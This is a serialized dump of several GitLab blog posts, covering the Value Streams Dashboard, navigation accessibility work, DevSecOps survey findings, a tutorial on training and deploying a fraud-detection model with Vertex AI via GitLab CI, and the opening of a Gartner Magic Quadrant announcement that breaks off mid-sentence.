Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/#enable-secret-detection).\n* To protect your entire organization, consider [enforcing scan execution](https://docs.gitlab.com/ee/user/application_security/index.html#enforce-scan-execution) to run Secret Detection in all of your projects.\n\n## What’s next\n\nWe’re excited to improve Secret Detection with this integration, but we aren’t stopping here. Check our [strategy and plans](https://about.gitlab.com/direction/secure/static-analysis/secret-detection/#strategy-and-themes) to learn more about where we’re headed.\n\n_GitLab can help secure your applications, whether they run on Google Cloud or elsewhere. Learn more about our [security and governance solutions](https://about.gitlab.com/solutions/security-compliance/)._\n",[674,3949,282],{"slug":9818,"featured":6,"template":678},"how-secret-detection-can-proactively-revoke-leaked-credentials","content:en-us:blog:how-secret-detection-can-proactively-revoke-leaked-credentials.yml","How Secret Detection Can Proactively Revoke Leaked Credentials","en-us/blog/how-secret-detection-can-proactively-revoke-leaked-credentials.yml","en-us/blog/how-secret-detection-can-proactively-revoke-leaked-credentials",{"_path":9824,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9825,"content":9830,"config":9835,"_id":9837,"_type":16,"title":9838,"_source":17,"_file":9839,"_stem":9840,"_extension":20},"/en-us/blog/getting-started-with-value-streams-dashboard",{"title":9826,"description":9827,"ogTitle":9826,"ogDescription":9827,"noIndex":6,"ogImage":9498,"ogUrl":9828,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9828,"schema":9829},"Getting started with the new GitLab Value Streams Dashboard","Benchmark your value stream lifecycle, DORA, and vulnerabilities metrics to gain valuable insights and uncover patterns for continuous improvements.","https://about.gitlab.com/blog/getting-started-with-value-streams-dashboard","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with the new GitLab Value Streams Dashboard\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haim Snir\"}],\n        \"datePublished\": \"2023-06-12\",\n      }",{"title":9826,"description":9827,"authors":9831,"heroImage":9498,"date":9832,"body":9833,"category":734,"tags":9834},[2485],"2023-06-12","\n\n\u003Ci>This is part two of our multipart series introducing you to the capabilities within GitLab Value Stream Management and the Value Streams Dashboard. In part one, [learn about the Total Time Chart](https://about.gitlab.com/blog/value-stream-total-time-chart/) and how to simplify top-down optimization flow with Value Stream Management.\u003C/i>\n\nGetting started with GitLab [Value Streams Dashboard](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html), a customizable dashboard that enables decision-makers to identify trends, patterns, and opportunities for digital transformation improvements, is easy. If you're already using GitLab Value Stream Management, simply navigate to your project's or group's Analytics tab, and within [Value stream analytics](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#view-value-stream-analytics), click on the \"Value Streams Dashboard - DORA\" link. This will open a new page with the Value Streams Dashboard.\n\n![image of DORA Metrics console](https://about.gitlab.com/images/blogimages/vsdCover.png){: .shadow}\nDORA metrics comparison panel\n{: .note.text-center}\n\nGitLab Value Stream Management allows customers to visualize their end-to-end DevSecOps workstreams, manage their software development processes, and gain insight into how digital transformation and technological investments are delivering value and driving business results. GitLab Value Stream Management is able to do this because GitLab provides an entire DevOps platform as a single application and, therefore, holds all the data needed to provide end-to-end visibility throughout the entire software development lifecycle. So now your decisions rely on actual data rather than blind estimation or gut feelings. Additionally, because GitLab is the place where work happens, GitLab Value Stream Management insights are also actionable, allowing your users to move from \"understanding\" to \"fixing\" at any time, from within their workflow and without losing context.\n\nThe centralized UI in Value Streams Dashboard acts as the single source of truth (SSOT), where all stakeholders can access and view the same set of metrics that are relevant to the organization. The SSOT views ensure consistency, eliminate discrepancies, and provide a reliable and unified source of data for decision-making and analysis.\n\nThe first iteration of the GitLab Value Streams Dashboard was focused on enabling teams to continuously improve software delivery workflows by benchmarking [value stream lifecycle metrics, DORA metrics, and vulnerabilities metrics](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html#dashboard-metrics-and-drill-down-reports). One of the key features is a new DevSecOps metrics comparison panel that displays the metrics for a group or project in the month-to-date, last month, the month before, and the past 180 days.\n\nThis comparison enables managers to track team improvements in the context of the other DevSecOps metrics to find patterns or trends over time. The data is presented in a clear and concise manner, ensuring that you can quickly grasp the significance of the metrics.\n\n![The Value Streams Dashboard helps you get a high-level custom view over multiple DevOps metrics and understand whether they are improving month-over-month](https://about.gitlab.com/images/blogimages/2023-05-18_vsd_1.gif){: .shadow}\nValue Streams Dashboard metrics comparison panel\n{: .note.text-center}\n\nAdditionally, from each metric you can drill down to a detailed report to investigate the underlying data, understand what is affecting the team performance, and identify actionable insights.\n\nWe understand that every organization has its own set of subgroups and projects, each with specific processes and terminology. That's why we designed our dashboard to be flexible and adaptable. Users have the power to [customize](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html#customize-the-dashboard-panels) their dashboard by including panels from different subgroups or projects. \n\nTracking and comparing these metrics over a period of time helps teams catch downward trends early, drill down into individual projects/metrics, take remedial actions to maintain their software delivery performance, and track progress of their innovation investments. Value Streams Dashboard's intuitive interface reduces the learning curve and eliminates the need for extensive training. Everyone can now immediately leverage the platform's unified data store power, maximizing their productivity and saving precious time and resources.\n\n## Value Streams Dashboard roadmap\nWe are just getting started with delivering new capabilities in our Value Streams Dashboard. The roadmap includes planned features and functionality that will continue to improve decision-making and operational efficiencies.\n\nSome of the capabilities we plan to focus on next include:\n\n- adding an [executive-level summary](https://gitlab.com/groups/gitlab-org/-/epics/9558) of key metrics related to software performance and flow of value across the organization\n- adding a [\"DORA Performers score\"](https://gitlab.com/groups/gitlab-org/-/epics/10416) panel with the DORA metrics health from all the organization's groups and projects\n- adding [filter by label to the comparison panel](https://gitlab.com/gitlab-org/gitlab/-/issues/388890) - we recognize that every team does not follow the same flow so we are adding them to slice and dice the dashboard views with GitLab labels as filters\n\nTo help us improve the Value Stream Management Dashboard, please share feedback about your experience in this [survey](https://gitlab.fra1.qualtrics.com/jfe/form/SV_50guMGNU2HhLeT4).\n\n## Learn more\n* Find out what's next on the [Value Stream Management direction page](https://about.gitlab.com/direction/plan/value_stream_management/#whats-next-and-why).\n\n* Learn how to use the new dashboard using the [Value Streams Dashboard documentation](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html).\n\n* Watch this short video on Value Streams Dashboards:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/EA9Sbks27g4\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nCheck out part three of this multipart series: \"[GitLab's 3 steps to optimizing software value streams](https://about.gitlab.com/blog/three-steps-to-optimize-software-value-streams/)\".\n\n\u003Ci>Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.\u003C/i>\n",[696,754,1268,1444,1899],{"slug":9836,"featured":6,"template":678},"getting-started-with-value-streams-dashboard","content:en-us:blog:getting-started-with-value-streams-dashboard.yml","Getting Started With Value Streams Dashboard","en-us/blog/getting-started-with-value-streams-dashboard.yml","en-us/blog/getting-started-with-value-streams-dashboard",{"_path":9842,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9843,"content":9848,"config":9853,"_id":9855,"_type":16,"title":9856,"_source":17,"_file":9857,"_stem":9858,"_extension":20},"/en-us/blog/improving-accessibility-in-gitlab-navigation",{"title":9844,"description":9845,"ogTitle":9844,"ogDescription":9845,"noIndex":6,"ogImage":9425,"ogUrl":9846,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9846,"schema":9847},"How we improved accessibility in GitLab’s new navigation","A new navigation redesign provides an excellent opportunity to build upon the existing experience and improve accessibility for everyone.","https://about.gitlab.com/blog/improving-accessibility-in-gitlab-navigation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we improved accessibility in GitLab’s new navigation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Scott de Jonge\"}],\n        \"datePublished\": \"2023-06-12\",\n      }",{"title":9844,"description":9845,"authors":9849,"heroImage":9425,"date":9832,"body":9851,"category":734,"tags":9852},[9850],"Scott de Jonge","\n\nA new navigation redesign provides an excellent opportunity to build upon the existing experience and improve accessibility. With navigation, it’s important to review accessibility at every opportunity, refine the experience with findings, and respect people’s existing relationship with GitLab’s navigation.\n\n![Navigation dashboard](https://about.gitlab.com/images/blogimages/2023-05-31-navigation-accessibility/navigation-accessibility-illustration@2x.png){: .shadow}\n\n\nHere are the steps we took, what we learned, and the impact on our navigation redesign.\n\n## Review accessibility early\nTo know what we needed to deliver, we had to understand what the [existing navigation experience was for people using assistive technologies (AT)](https://gitlab.com/gitlab-org/gitlab/-/issues/382850#note_1187135551) such as screen readers. An effective evaluation technique is mapping the navigation [accessibility tree](https://web.dev/the-accessibility-tree/). This provided detail into the order of elements as well as their accessible roles and labels that are communicated by AT. Reducing major changes to the accessibility tree minimizes disruption to people’s memory of navigation items.\n\nEarly experiments with a [low fidelity HTML prototype of the new navigation design](https://gitlab.com/gitlab-org/gitlab/-/issues/382850#note_1192150162) provided insight into how HTML elements with appropriate [ARIA attributes](https://www.w3.org/TR/wai-aria-1.2/) could achieve an intuitive and meaningful accessibility tree. This exercise allowed for a collaborative evaluation of the proposed designs, identifying tweaks to improve accessibility.\n\n## Review accessibility frequently\nEarly prototyping gives a top-level view of accessibility, it is helpful for determining the [order of tab stops](https://developer.chrome.com/docs/lighthouse/accessibility/logical-tab-order/) and selecting the appropriate [landmarks elements](https://developer.mozilla.org/en-US/blog/aria-accessibility-html-landmark-roles/). More complex interactions, such as interactive menus, are better suited to individual reviews.\n\nAccessibility reviews of interactive menu components ensure they deliver a desirable experience in isolation. When implemented within the navigation, these components can then be reviewed in context by themselves (keyboard interactivity and accessible labels), and in relationship with other menus (logical tab stops and consistent behaviors).\n\n## Review with popular accessibility technologies\nAutomated testing tools like [aXe DevTools](https://www.deque.com/axe/devtools/) are excellent at highlighting [Web Content Accessibility Guidelines (WCAG)](https://www.w3.org/WAI/standards-guidelines/wcag/) criteria violations directly on elements. This makes it simple to identify the required changes to markup and styles for semantic meaning, readability, and contrast.\n\nIt’s important to manually test web accessibility with [popular screen reader and browser combinations](https://webaim.org/projects/screenreadersurvey9/#browsercombos) to evaluate the [75% of criteria which automated tools miss](https://karlgroves.com/efficiency-in-accessibility-testing-or-why-usability-testing-should-be-last/). When manually testing with screen readers, we identify accessibility issues, such as the logical order of elements, keyboard interactivity, and descriptive labels of elements and states, which improve the experience for people using AT or alternative input modes. It's crucial to providing an inclusive and accessible experience for all users.\n\nWhile reviewing the new navigation, we manually tested with the following screen reader and browser combinations using local devices and [Assistiv Labs](https://assistivlabs.com/):\n\n* [JAWS](https://www.freedomscientific.com/products/software/jaws/) with Chrome on Windows\n* [NVDA](https://www.nvaccess.org/about-nvda/) with Firefox on Windows\n* [VoiceOver](https://support.apple.com/en-ca/guide/voiceover/welcome/mac) with Safari on MacOS and iOS\n\nFindings from testing were logged into an [epic](https://gitlab.com/groups/gitlab-org/-/epics/9623) where they were prioritized, actioned, and tested again. \n\nHere are some key findings from our manual accessibility testing:\n1. Using [`aria-expanded`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-expanded) and [`aria-controls`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-controls) on `\u003Cbutton>` elements which toggle menu section to provide meaningful state descriptions to screen readers ([WCAG 2.1 3.2.3: Consistent Navigation](https://www.w3.org/WAI/WCAG21/.Understanding/consistent-navigation.html), [WCAG 2.1 4.1.2: Name, Role, Value](https://www.w3.org/WAI/WCAG21/Understanding/name-role-value))\n2. Using [`aria-current=\"page\"`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-current) on the current page link `\u003Ca>` element to announce current page when focused ([WCAG 2.1 3.2.3: Consistent Navigation](https://www.w3.org/WAI/WCAG21/Understanding/consistent-navigation.html), [WCAG 2.1 4.1.2 Name, Role, Value](https://www.w3.org/WAI/WCAG21/Understanding/name-role-value)).\n3. Including a \"Skip to main content\" link to allow keyboard and screen reader users to bypass repetitive content ([WCAG 2.1 3.2.3: Consistent Navigation](https://www.w3.org/WAI/WCAG21/Understanding/consistent-navigation.html), [WCAG 2.1 2.4.1: Bypass Blocks](https://www.w3.org/WAI/WCAG21/Understanding/bypass-blocks.html)).\n4. Excluding navigation contents from focus order when collapsed ([WCAG 2.1 2.4.3: Focus order](https://www.w3.org/WAI/WCAG21/Understanding/focus-order.html)).\n\n## Leverage browser behavior\nOne of the interesting implementation challenges of the new navigation was excluding interactive content when it’s collapsed.\n\nEarly interactions used the [`aria-hidden`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-hidden) attribute in combination with [`inert`](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inert) to ensure content was hidden for keyboard and screen readers. When testing with different browser and screen reader combinations we discovered content was still interactive for browsers that did not support [`inert`](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inert). \n\nInstead of [`aria-hidden`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-hidden), we could use the [`visibility: hidden`](https://developer.mozilla.org/en-US/docs/Web/CSS/visibility) CSS property, which proved to work as expected. The catch was that it also affects the visibility (hence the name) for sighted users and would need to be applied only once the transition between expanded and collapsed state is complete. Adding to the complexity of the implementation. This became even more complex, as there are different default collapse states between viewport sizes, as well as a mouse-hover peek behavior. In the end this solution was not as maintainable and robust as hoped. Back to the drawing board.\n\nCollaborative efforts of browser vendors to implement web standards through [Interop](https://wpt.fyi/interop-2023) meant that the [`inert`](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inert) HTML attribute became fully supported as of [Firefox v112](https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/112#html). Now the  [`inert`](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inert) attribute allowed the navigation to be marked as non-interactive and simplified the approach whilst also providing a consistent experience in modern browsers (last two major versions) and screen readers.\n\nUsing HTML standards produces a consistent experience across devices and browsers that is more familiar to users, as well as improving maintainability and robustness of the implementation.\n\n## Make iterative improvements\nWe’ve reviewed the navigation at key milestones to find and resolve accessibility issues, and refine the accessibility tree. Thanks to these efforts, we’ve iteratively improved upon the existing navigation accessibility, satisfying relevant WCAG criteria, and delivering an intuitive and familiar experience for AT.\n\n## What’s next\nAccessibility is never done, while we’ve carefully considered accessibility throughout the design and implementation stages, we need your feedback on how we can continue to iterate on the accessibility of the new navigation. Please add any feedback, questions, or ideas to the [navigation accessibility epic](https://gitlab.com/groups/gitlab-org/-/epics/9623).\n",[695],{"slug":9854,"featured":6,"template":678},"improving-accessibility-in-gitlab-navigation","content:en-us:blog:improving-accessibility-in-gitlab-navigation.yml","Improving Accessibility In Gitlab Navigation","en-us/blog/improving-accessibility-in-gitlab-navigation.yml","en-us/blog/improving-accessibility-in-gitlab-navigation",{"_path":9860,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9861,"content":9866,"config":9871,"_id":9873,"_type":16,"title":9874,"_source":17,"_file":9875,"_stem":9876,"_extension":20},"/en-us/blog/best-practices-leading-orgs-to-release-software-faster",{"title":9862,"description":9863,"ogTitle":9862,"ogDescription":9863,"noIndex":6,"ogImage":7670,"ogUrl":9864,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9864,"schema":9865},"4 best practices leading orgs to release software faster","GitLab's 2023 Global DevSecOps Survey illuminates the strategies that organizations deploying more frequently have in common.","https://about.gitlab.com/blog/best-practices-leading-orgs-to-release-software-faster","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 best practices leading orgs to release software faster\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kristina Weis\"}],\n        \"datePublished\": \"2023-06-08\",\n      }",{"title":9862,"description":9863,"authors":9867,"heroImage":7670,"date":9868,"body":9869,"category":8943,"tags":9870},[7018],"2023-06-08","\nReleasing software faster is one of the biggest goals of many organizations — and for good reason. It helps them keep up with competitors, land and keep more customers, improve employee satisfaction, and much more. But maintaining that velocity requires investment in processes and technologies that help DevSecOps teams deliver, secure, and deploy software faster without compromising quality.\n\nIn our [2023 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2023/) we asked more than 5,000 development, security, and operations professionals about everything from deployment frequency to the practices teams have adopted – all to learn what the most agile and efficient organizations have in common. One respondent, a director of IT security in the retail sector, summed up the challenge as follows: “Software customers are increasingly vocal and demanding, expecting faster releases and greater customizability. Developers will need to keep up with these demands while still maintaining stability and usability.”\n\nSo what’s helping organizations be more productive and efficient? Here are four of the best practices that, according to the survey, help organizations release software faster and deploy more frequently:\n\n## 1. Running applications in the cloud\nOne of the benefits people commonly attribute to deploying to the cloud is increased development speed. As it turns out, this year’s survey shows there’s some serious truth to that. Respondents with at least a quarter of their applications in the cloud were 2.2 times more likely to be releasing software faster than they were a year ago — and respondents with at least half of their applications in the cloud were 4.2 times more likely to deploy to production multiple times per day. \n\nSeveral respondents commented on the value of the cloud while also acknowledging the complexities cloud computing can bring to software development. An IT operations manager in the industrial manufacturing sector shared that “developing software that is designed for the cloud-native environment” is one of the top challenges facing software development this year. Likewise, an IT operations manager in the telecommunications sector said: “With the increase in the use of cloud computing and IoT devices, there is a greater need for secure coding practices to protect sensitive data from cyber attacks.” As organizations move to a cloud-first model for software development, they will need to adopt technologies that allow them to build natively in the cloud while keeping security top of mind throughout the development process.\n\n## 2. BizDevOps\nThough DevOps and DevSecOps mostly steal the show in terms of methodologies, some organizations go a step further and [practice BizDevOps](https://about.gitlab.com/blog/a-snapshot-of-modern-devops-practices-today/) — that is, incorporating business teams alongside development, security, and operations teams. An IT operations manager in the software sector emphasized the importance of collaboration with the business, sharing that “as software projects become larger and more complex, developers will need to work closely with other team members, including designers, testers, project managers, and business stakeholders.” This approach appears to be paying off for some: Respondents whose organizations practice BizDevOps were 1.4 times more likely to be releasing software faster than they were a year ago.\n\n## 3. CI/CD\nIt’s not surprising that automating the software development lifecycle with [CI/CD](https://docs.gitlab.com/ee/ci/) would help teams release software faster and more efficiently; however, it’s nice to see confirmation and put some numbers to the difference it can make. The survey shows that respondents [practicing CI/CD](https://about.gitlab.com/blog/how-to-keep-up-with-ci-cd-best-practices/) were twice as likely to deploy multiple times per day and 1.2 times more likely to release software faster than they did a year ago.\n\nDespite the value of CI/CD for driving efficiency, respondents also identified challenges. For instance, an IT operations associate in the aerospace/defense sector pointed to “management that doesn't understand CI/CD at all” as a blocker to more efficient software development. Meanwhile, a software development intern in the biotech sector shared that “tools to automate CI/CD, together with code editors, APM software, and defect trackers, can help with a faster and quality development cycle,” but “companies are hesitant to spend on tools that can help increase their developers’ productivity.” These responses underscore the value of investing in tools that unify CI/CD with other DevSecOps practices — such as incorporating security early in the development process and creating tighter feedback loops — to help organizations break down development silos.\n\n## 4. DORA and other metrics\nOrganizations that [make a conscious effort to track key development metrics](https://about.gitlab.com/blog/how-zoopla-uses-dora-metrics-and-your-team-can-too/) are more likely to improve them, according to the survey. This makes sense because by virtue of an organization choosing to track a metric, they’re signaling to their teams that it’s important, likely reminding them of whether the metric is improving (or not) periodically, and quite possibly prioritizing initiatives aimed at improving those metrics. We found that respondents whose organizations track their [DORA metrics](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html) and other similar metrics were 1.4 times more likely to deploy multiple times per day.\n\n## A deeper dive on productivity and efficiency\n\nFor a deeper look into release velocity and deployment frequency, and all the practices that made respondents more likely to release software faster and deploy multiple times per day, check out our [2023 DevSecOps Report: Productivity & Efficiency Within Reach](https://about.gitlab.com/developer-survey/).\n\nThe report also digs into two other key factors that can have a big impact on productivity and efficiency: how long it takes to onboard new developers and how difficult or easy it is for organizations to attract, hire, and retain developers. We’ll show you where things stand and the practices that made respondents more likely to be successful.\n\n_[Read the highlights from “Security Without Sacrifices,” the first report in our 2023 Global DevSecOps Report series.](/blog/gitlab-survey-highlights-wins-challenges-as-orgs-adopt-devsecops/)_\n",[8570,110,3949,943],{"slug":9872,"featured":6,"template":678},"best-practices-leading-orgs-to-release-software-faster","content:en-us:blog:best-practices-leading-orgs-to-release-software-faster.yml","Best Practices Leading Orgs To Release Software Faster","en-us/blog/best-practices-leading-orgs-to-release-software-faster.yml","en-us/blog/best-practices-leading-orgs-to-release-software-faster",{"_path":9878,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9879,"content":9884,"config":9888,"_id":9890,"_type":16,"title":9891,"_source":17,"_file":9892,"_stem":9893,"_extension":20},"/en-us/blog/training-and-deploying-ai-models-with-gitlab-and-vertex-ai",{"title":9880,"description":9881,"ogTitle":9880,"ogDescription":9881,"noIndex":6,"ogImage":8601,"ogUrl":9882,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9882,"schema":9883},"Train and deploy AI models with GitLab and Google Cloud's Vertex AI","Demo of GitLab's DevSecOps capabilities combined with Vertex AI's scalable ML platform, designed with the aim of rapid and secure AI deployments.","https://about.gitlab.com/blog/training-and-deploying-ai-models-with-gitlab-and-vertex-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Train and deploy AI models with GitLab and Google Cloud's Vertex AI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Regnard Raquedan\"}],\n        \"datePublished\": \"2023-06-08\",\n      }",{"title":9880,"description":9881,"authors":9885,"heroImage":8601,"date":9868,"body":9886,"category":791,"tags":9887},[919],"\n\u003Ci>This blog is the latest post in an ongoing series about GitLab's journey to \u003Ca href=\"/blog/ai-ml-in-devsecops-series/\">build and integrate AI/ML into our DevSecOps platform\u003C/a>. The first blog post can be found \u003Ca href=\"/blog/what-the-ml-ai/\">here\u003C/a>. Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\nMost development and engineering teams are now tasked with maintaining and deploying AI/ML-related code. In this context, the focus on security and efficiency becomes even more crucial. Companies are keen to capitalize on the benefits of AI swiftly while striving to decrease potential risks. GitLab can be used to orchestrate any AI/ML workloads, enabling teams to rapidly develop new generative AI capabilities. [GitLab recently announced a partnership with Google](https://about.gitlab.com/press/releases/2023-05-02-gitLab-and-google-cloud-partner-to-expand-ai-assisted-capabilities.html) to bring [generative AI on Google Cloud](https://cloud.google.com/ai/generative-ai) to our mutual customers.\n\nThis is a tutorial of how to use these tools to deploy an AI model with [Google Cloud's Vertex AI](https://cloud.google.com/vertex-ai) using GitLab to orchestrate the [ModelOps workload](https://about.gitlab.com/direction/modelops/). Our custom model training use case is simple introductory credit card fraud detection, a pertinent issue in the financial industry.\n\n## The solution\nOur solution is a Python-based credit card transaction fraud detection app. Once deployed, applications can use an API endpoint to make predictions on whether a submitted transaction is fraudulent or not.\n\n[Vertex AI](https://cloud.google.com/vertex-ai/docs) is Google Cloud's flagship AI/ML platform that lets users train and deploy machine learning models and AI applications. This is the platform where the API endpoint and model are hosted. While Vertex AI can handle training using prebuilt functions, this demo uses a custom training script written in Python.\n\nFor the demo’s purposes, GitLab hosts the [application source code](https://gitlab.com/gitlab-com/alliances/google/sandbox-projects/demos/vertex-ai) and helps to ensure quality and security by running the tests and scans automatically. We also use GitLab's CI/CD to execute the Python code, programmatically upload the resulting artifacts to Google Cloud Storage, and create the endpoint in Vertex AI.\n\nLet's take a high-level look at how the solution is designed and what it does:\n* Data preprocessing: To effectively detect fraudulent transactions, we address the initial imbalance in the raw transaction data. By employing the [Synthetic Minority Over-sampling Technique (SMOTE)](https://imbalanced-learn.org/stable/references/generated/imblearn.over_sampling.SMOTE.html), we duplicate instances of the minority class, enhancing the model's ability to identify patterns.\n* Model training: Using the balanced dataset, we train a [RandomForestClassifier](https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.RandomForestClassifier.html) model. This creates a 'forest' of decision trees, each based on a random subset of the training data. It outputs the mode of the classes determined by the individual trees, making it well-suited for binary outcomes, such as identifying fraudulent transactions. The trained model is stored in a Google Cloud Storage bucket for later use.\n* Model deployment: Leveraging GitLab's DevSecOps platform, model deployment becomes straightforward. By committing the code to GitLab, the trained model is automatically deployed to Vertex AI. Subsequently, the API endpoint is also established.\n\n## Prerequisites\nBefore we dive into the details, let's make sure you have everything you need to get started with deploying your AI model using GitLab and Vertex AI.\n\nHere are the requirements:\n1. Google Cloud project\n1. Google Cloud service account with these permissions:\n   1. AI Platform Admin\n   1. Service Account User\n   1. Storage Admin\n   1. Storage Object Admin\n   1. Vertex AI Administrator\n1. GitLab project\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/p7GTsbSQWF4\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n## Demo walkthrough\nFollowing the [video walkthrough](https://youtu.be/p7GTsbSQWF4), here's a guide for setting up an AI pipeline with GitLab and Google Cloud's Vertex AI.\n\n### Step 1: GitLab and Google Cloud connection\nFirstly, we need GitLab to interact with Google Cloud. Insert your Google Cloud Service Account credentials into your GitLab project's environment variables (make sure they're Base64 encoded for security).\n\n### Step 2: Uploading data to Vertex AI\nMove to the Vertex AI section in Google Cloud. Here, [create and upload your dataset](https://cloud.google.com/vertex-ai/docs/tabular-data/forecasting/create-dataset). In our demo, we use a 'Tabular' dataset for 'Classification' as we're predicting credit card fraud.\n\n### Step 3: Creating the CI/CD pipeline\nBack to GitLab to structure our [CI/CD pipeline](https://gitlab.com/gitlab-com/alliances/google/sandbox-projects/demos/vertex-ai/-/ci/editor). It comprises three stages:\n\n**Test:** Quality and security checks.\n\n**Train:** Executes a Python script to train the model, outputting a .pkl  artifact.\n\n```\ntrain:\n stage: train\n script:\n   - apt-get update && apt-get install -y python3-pip python3-venv\n   - python3 -m venv venv\n   - source venv/bin/activate\n   - pip install --upgrade pip\n   - pip install pandas scikit-learn joblib imbalanced-learn google-cloud-storage\n   - python3 src/train.py\n artifacts:\n   paths:\n     - model.pkl\n```\n\n**Deploy:** Uses Google Cloud's Deep Learning platform container to deploy the trained model on Vertex AI.\n\n```\ndeploy:\n stage: deploy\n image:\n   name: us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-5\n   entrypoint: [\"\"]\n script:\n   - python src/deploy.py\n dependencies:\n   - train\n only:\n   - main\n```\n\n### Step 4: Model training\nThe [training code](https://gitlab.com/gitlab-com/alliances/google/sandbox-projects/demos/vertex-ai/-/blob/main/src/train.py), running on GitLab CI/CD, fetches data from Vertex AI, processes it, trains our RandomForestClassifier model, and saves the model to Google Cloud Storage.\n\n### Step 5: Model deployment\nThe [deployment script](https://gitlab.com/gitlab-com/alliances/google/sandbox-projects/demos/vertex-ai/-/blob/main/src/deploy.py) creates an endpoint on Vertex AI and deploys our trained model there, utilizing the service account credentials we set initially.\n\n### Step 6: Prediction testing\n\n![Screenshot of Vertex AI](https://about.gitlab.com/images/blogimages/vertex-ai-screenshot.png)\n\nFinally, within Vertex AI, navigate to your model and test its predictions using an input JSON request. If all goes well, you'll get a response from your model.\n\nThere you have it: an AI pipeline with GitLab and Google Cloud's Vertex AI. This combination of GitLab's DevSecOps capabilities with Vertex AI's scalable ML platform is designed with the aim of rapid and secure AI deployments.\n",[943,695,754,790],{"slug":9889,"featured":6,"template":678},"training-and-deploying-ai-models-with-gitlab-and-vertex-ai","content:en-us:blog:training-and-deploying-ai-models-with-gitlab-and-vertex-ai.yml","Training And Deploying Ai Models With Gitlab And Vertex Ai","en-us/blog/training-and-deploying-ai-models-with-gitlab-and-vertex-ai.yml","en-us/blog/training-and-deploying-ai-models-with-gitlab-and-vertex-ai",{"_path":9895,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9896,"content":9902,"config":9908,"_id":9910,"_type":16,"title":9911,"_source":17,"_file":9912,"_stem":9913,"_extension":20},"/en-us/blog/gitlab-leader-gartner-magic-quadrant-devops-platforms",{"title":9897,"description":9898,"ogTitle":9897,"ogDescription":9898,"noIndex":6,"ogImage":9899,"ogUrl":9900,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9900,"schema":9901},"GitLab named Leader in 2023 Gartner DevOps Platform Quadrant","In the first Gartner® Magic Quadrant™ for this category, GitLab is positioned highest on the Ability to Execute axis.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663830/Blog/Hero%20Images/gartner-report-blog-asset.jpg","https://about.gitlab.com/blog/gitlab-leader-gartner-magic-quadrant-devops-platforms","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab named a Leader in the 2023 Gartner Magic Quadrant for DevOps Platforms\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ashley Kramer\"}],\n        \"datePublished\": \"2023-06-07\",\n      }",{"title":9903,"description":9898,"authors":9904,"heroImage":9899,"date":9905,"body":9906,"category":8943,"tags":9907},"GitLab named a Leader in the 2023 Gartner Magic Quadrant for DevOps Platforms",[4671],"2023-06-07","\nToday marks an important milestone for DevOps and for GitLab. \n\nGartner® recognized GitLab as a Leader in the 2023 Gartner® Magic Quadrant™ for DevOps Platforms – the first Magic Quadrant for the category – positioned highest on the Ability to Execute axis. According to Gartner, Leaders execute well against their current vision and are well-positioned for tomorrow. \n\nSince our founding, we have been focused on delivering the most comprehensive suite of solutions for every use case – and for every stakeholder - in developing and deploying software. These solutions come together as a comprehensive platform that eliminates point solution tool sprawl and a ‘Do it Yourself’ DevOps approach. GitLab brings together everyone involved in the software development lifecycles – development teams, security teams, operations teams – to collaborate together on the same platform. \n\nWe believe Gartner naming GitLab 